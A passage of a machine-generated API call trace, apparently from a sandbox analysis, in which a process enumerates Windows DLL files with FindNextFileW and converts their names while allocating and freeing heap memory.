ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0028.453] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.453] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.453] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x38c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.453] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.453] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.453] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.453] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.453] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.453] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0028.453] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.453] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.453] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.453] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.453] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.453] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.453] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.453] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.453] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0028.453] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.453] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.454] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.454] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.454] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.454] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.454] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.454] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.454] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0028.454] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.454] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.454] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x38c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0028.454] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.454] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.454] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.454] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.454] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.454] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.454] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.454] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0028.454] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x38c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0028.454] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.454] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.454] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.454] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.454] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.454] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.454] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.454] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0028.454] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x38c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0028.455] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.455] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.455] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.455] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.455] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.455] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.455] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.455] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0028.455] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x38c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0028.455] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.455] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.455] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.455] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.455] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.455] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.455] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.455] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0028.455] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x38c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0028.455] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.455] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.455] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.455] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.455] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.455] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.455] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.455] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0028.455] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x38c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0028.455] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.456] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.456] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.456] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.456] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.456] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.456] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.456] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0028.456] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x38c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0028.456] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.456] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.456] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.456] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.456] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.456] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.456] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.456] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0028.456] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x38c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0028.456] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.456] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.456] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.456] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.456] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.456] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0028.456] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.456] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0028.456] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x38c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0028.456] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.456] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.456] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.456] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.456] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.457] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0028.457] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.457] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0028.457] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x38c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0028.457] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.457] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.457] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.457] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.457] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.457] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.457] RtlAllocateHeap 